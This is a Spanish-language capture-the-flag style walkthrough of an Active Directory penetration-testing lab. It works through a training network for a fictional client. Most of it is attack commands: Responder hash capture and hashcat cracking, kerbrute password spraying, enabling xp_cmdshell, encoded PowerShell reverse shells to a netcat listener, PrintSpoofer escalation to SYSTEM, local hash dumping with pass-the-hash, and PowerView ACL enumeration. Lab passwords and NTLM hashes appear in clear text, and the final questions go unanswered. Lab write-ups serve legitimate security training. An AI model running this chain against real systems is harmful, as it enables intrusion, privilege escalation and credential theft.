Laboratorio de Enumeración y ataques de AD - Parte 2
Enunciado
Nuestro cliente, Inlanefreight, nos ha contratado de nuevo para realizar una prueba de penetración interna completa. El cliente busca encontrar y corregir el mayor número posible de fallos antes de iniciar un proceso de fusión y adquisición. El nuevo CISO está especialmente preocupado por los fallos de seguridad de AD más sutiles que podrían haber pasado desapercibidos en pruebas de penetración anteriores. El cliente no se preocupa por tácticas sigilosas o evasivas y, además, nos ha proporcionado una máquina virtual Parrot Linux dentro de la red interna para obtener la mejor cobertura posible de todos los ángulos de la red y del entorno de Active Directory.
Conéctese al host de ataque interno mediante SSH (también puede conectarse xfreerdp
como se muestra al principio de este módulo) y comience a buscar una posición de entrada en el dominio. Una vez establecida, enumere el dominio y busque fallos que puedan utilizarse para actuar lateralmente, escalar privilegios y comprometer el dominio.
Reconocimiento
Nos conectamos por ssh a la máquina que nos proporciona Inlanefreight
y a partir ahí empezamos el reconocimiento.
Vemos las interfaces de red.
Hacemos ping para ver la ip del Domain Controller
.
Tenemos como dominio
inlanefreight.local
Como DC 172.16.7.3
Obtenga el hash de la contraseña de una cuenta de usuario del dominio que pueda utilizarse para restablecerse en el dominio. ¿Cuál es el nombre de la cuenta? Ejecutamos el Responder:
sudo responder -I ens224
Y vemos que nos pone que capturó un hash del usuario
AB920
Leemos el log del responder.
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-172.16.7.3.txt
¿Cuál es la contraseña de texto simple de este usuario?
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-172.16.7.3.txt
Copiamos un hash y nos lo traemos a local para decifrarlo
hashcat -m 5600 hash1.txt /usr/share/wordlists/rockyou.txt
Envíe el contenido del archivo C:\flag.txt en MS01.
Tenemos el usuario y contraseña AB920
:weasal
Realizamos un escaneo de la red para detectar el MS01.
namp -sn 172.16.7.240/23
Dentro de esta subred tenemos las IPs
172.16.7.50
, 172.16.7.60
, 172.16.7.240
.
Hacemos otro escaneo más detallado:
nmap -sS -sV -O -Pn 172.16.7.50 172.16.7.60 172.16.7.240
Comprobamos el nombre de la máquina con
ntbscan
:
ntbscan <IP>
Con las credenciales que tenemos intentamos acceder al MS01
.
evil-winrm -i 172.16.7.50 -u AB920 -p weasal
Ahora solo nos movemos al directorio de la flag.
C:\flag.txt
Utilice un método común para obtener credenciales débiles de otro usuario. Envíe el nombre de usuario del usuario cuyas credenciales obtenga.
Vamos a enumerar los usuarios desde el DC
y exportarlos a un archivo.
sudo crackmapexec smb 172.16.7.3 -u 'ab920' -p 'weasal' --users | tee usernames.txt
Nos quedamos solo con los usuarios.
cat usernames.txt | awk '{print $5}' | grep 'INLANEFREIGHT.LOCAL' | awk -F'\\\\' '{print $2}'
Hacemos rociado de contraseñas con Welcome1
con la lista de usuarios que tenemos.
kerbrute passwordspray -d inlanefreight.local --dc 172.16.7.3 users.txt Welcome1
Y vemos que para el usuario
BR086
es válida dicha contraseña.
Localice un archivo de configuración que contenga una cadena de conexión MSSQL. ¿Cuál es la contraseña del usuario que aparece en este archivo?
Tenemos usuario BR086
:Welcome1
Estamos buscando un archivo de configuración.
Intentamos mostrar los archivos compartidos desde el DC
smbclient -L \\\\172.16.7.3 -U br086
Y vemos una carpeta que nos llama la atención.
Entramos con dicho usuario:
smbclient '//172.16.7.3/Department Shares' -N U br086
Y vemos una serie de recursos compartidos. Empezamos a buscar.
Tenemos esto:
Nos lo descargamos
get web.config
Y lo revisamos en la máquina pivote.
Y vemos un usuario
netdb
:D@ta_bAse_adm1n!
Envíe el contenido del archivo flag.txt en el Escritorio del administrador en el host SQL01.
Debemos recordar que anteriormente cuando escaneamos la red descubrimos que el host MS01
era 172.16.7.50
y que el host SQL01
era el 172.16.7.60
. Vamos a trabajar con este último.
Nos conectamos al host por mssql dado que es un servidor con una base de datos de microsoft.
mssqlclient.py -dc-ip 172.16.7.3 INLANEFREIGHT/netdb:'D@ta_bAse_adm1n!'@172.16.7.60
Habilitamos el xp_cmdshell
para poder ejecutar comando en el servidor a través de SQL:
enable_xp_cmdshell;
Vemos que tenemos acceso sin embargo no tenemos permisos para leer la flag que se encuentra en el path de
Administrator
.
Cuando revisamos la información de los permisos del usuario:
exec xp_cmdshell 'whoami/priv'
Al tener permisos de Impersonate habilitados podemos explotar la vulnerabilidad de
PrintSpoofer
, donde nos permite pasar a root del sistema.
Repositorio de PrintSpoofer
Por un lado tenemos la sesión mssql en SQL01 donde ejecutamos comandos en el servidor y por otro lado tenemos nuestra máquina pivote.
Lo que vamos a hacer es lanzarnos una reverse shell desde la sesión SQL01
a nuestra máquina pivote donde podamos ejecutar comandos más comodos.
Nos ponemos en escucha en nuestra máquina pivote:
nc -nlvp 1111
Lanzamos la reverse shell y tenemos ejecucion de comandos en SQL01.
xp_cmdshell "powershell -e JAK...CkA"
Luego nos copiamos el ejecutable de PrintSpoofer de la pivote para
SQL01
, Abrimos una 3ra sesión y conectandonos por ssh al pivote.
Nos lo descargamos a local, luego desde local, lo copiamos al pivote
scp -r PrintSpoofer.exe htb-student@<IP>:~/Downloads
#Password
Y desde el pivote lo copiamos a SQL01, hacemos un simple servidor web.
python -m http.server
Desde SQL01
nos lo descargamos, debemos situarnos en un directorio que tengamos permisos de escritura, C\Users\Public
por ejemplo:
Invoke-WebRequest -Uri http://172.16.7.240:8000/PrintSpoofer.exe -OutFile .\PrintSpoofer.exe
Posteriormente ejecutamos el archivo y preparamos una reverseshell hacia nuestro pivote donde la vamos a recibir con privilegios de SYSTEM
. Esta vez por otro puerto.
Luego nos ponemos en escucha desde el pivote
nc -nlvp 3434
Y ejecutamos el PrintSpoofer.exe desde SQL01
tal que así
.\PrintSpoofer.exe -i -c "powershell JAB...Br"
Ya solo nos movemos a la ruta desedada
C:\Users\Administrator\Desktop\flag.txt
Envíe el contenido del archivo flag.txt en el Escritorio del administrador en el host MS01.
Para el host MS01
tenemos:
IP 172.16.7.50
Usuario y contraseña AB920
:weasal
LaZagne.exe
Obtenemos:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:136b3ddfbb62cb02e53a8f661248f364::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:4b4ba140ac0767077aee1958e7f78070:::
evil-winrm -i 172.16.7.60 -u Administrator -H 136b3ddfbb62cb02e53a8f661248f364
Obtenemos la flag.
Invoke-WebRequest -Uri http://172.16.7.240:8000/PowerView.ps1 -OutFile .\PowerView.ps1
Invoke-WebRequest -Uri http://172.16.7.240:8000/Inveigh.ps1 -OutFile .\Inveigh.ps1
Invoke-WebRequest -Uri http://172.16.7.240:8000/LaZagne.exe -OutFile .\LaZagne.exe
Invoke-WebRequest -Uri http://172.16.7.240:8000/mimikatz.exe -OutFile .\mimikatz.exe
Get-DomainUser -Identity Administrator | Get-DomainSPNTicket -Format Hashcat
136b3ddfbb62cb02e53a8f661248f364
Obtenga las credenciales de un usuario con permisos genéricos en el grupo Administradores del dominio. ¿Cuál es el nombre de la cuenta de este usuario? PowerView Cheatsheet
Accedemos por ssh a nuestra máquina pivote, le aplicamos un redirecionamiento de puertos mediante proxychains.
ssh htb-student@<IP> -D 9050
#Password
Vamos a copiar desde nuestra máquina atacante la herramienta PowerView.ps1 hacia nuestro pivote.
scp -r PowerView.ps1 htb-student@<IP>:~/Downloads
Mediante nuestra sesión de ssh vamos al directorio Downloads y servimos un servidor web para compartir la herramienta con
172.16.7.50
python -m http.server 8080
Luego desde nuestra máquina atacante nos vamos a conectar a 172.16.7.50
con el las credenciales que obtuvimos al principio.
proxychains xfreerdp3 /v:172.16.7.50 /u:br086 /p:'Welcome1' /dynamic-resolution
Nos descargamos la herramienta desde
powershell
Invoke-WebRequest -Uri http://172.16.7.240:8080/PowerView.ps1 -OutFile .\PowerView.ps1
Importamos la herramienta:
import-module .\PowerView.ps1
Y buscamos por el grupo Domain Admins
que es por el que nos están preguntando:
Get-DomainGPO -Identity "Domain Admins"
ConvertTo-Sid "Domain Admins"
Get-DomainObjectAcl -Identity "S-1-5-21-3327542485-274640656-2609762496-512" -ResolveGUIDs |? {$_.ActiveDirectoryRights -eq "GenericAll"}
S-1-5-21-3327542485-274640656-2609762496-4611
Ahora que tenemos el Identificador de usuario lo convertimos llevamos a nombre normal.
Convert-SidToName "S-1-5-21-3327542485-274640656-2609762496-4611"
CT059
Descifre el hash de la contraseña de este usuario y envíe la contraseña en texto sin formato como respuesta.
Envíe el contenido del archivo flag.txt en el escritorio del administrador en el host DC01.
Envíe el hash NTLM de la cuenta KRBTGT para el dominio de destino después de lograr el compromiso del dominio.
Si te sirvió de algo este tutorial ya para mi es más que suficiente, si me puedes decir en que podemos mejorar te lo voy a agradecer un montón.
Escríbeme por cualquiera de las vías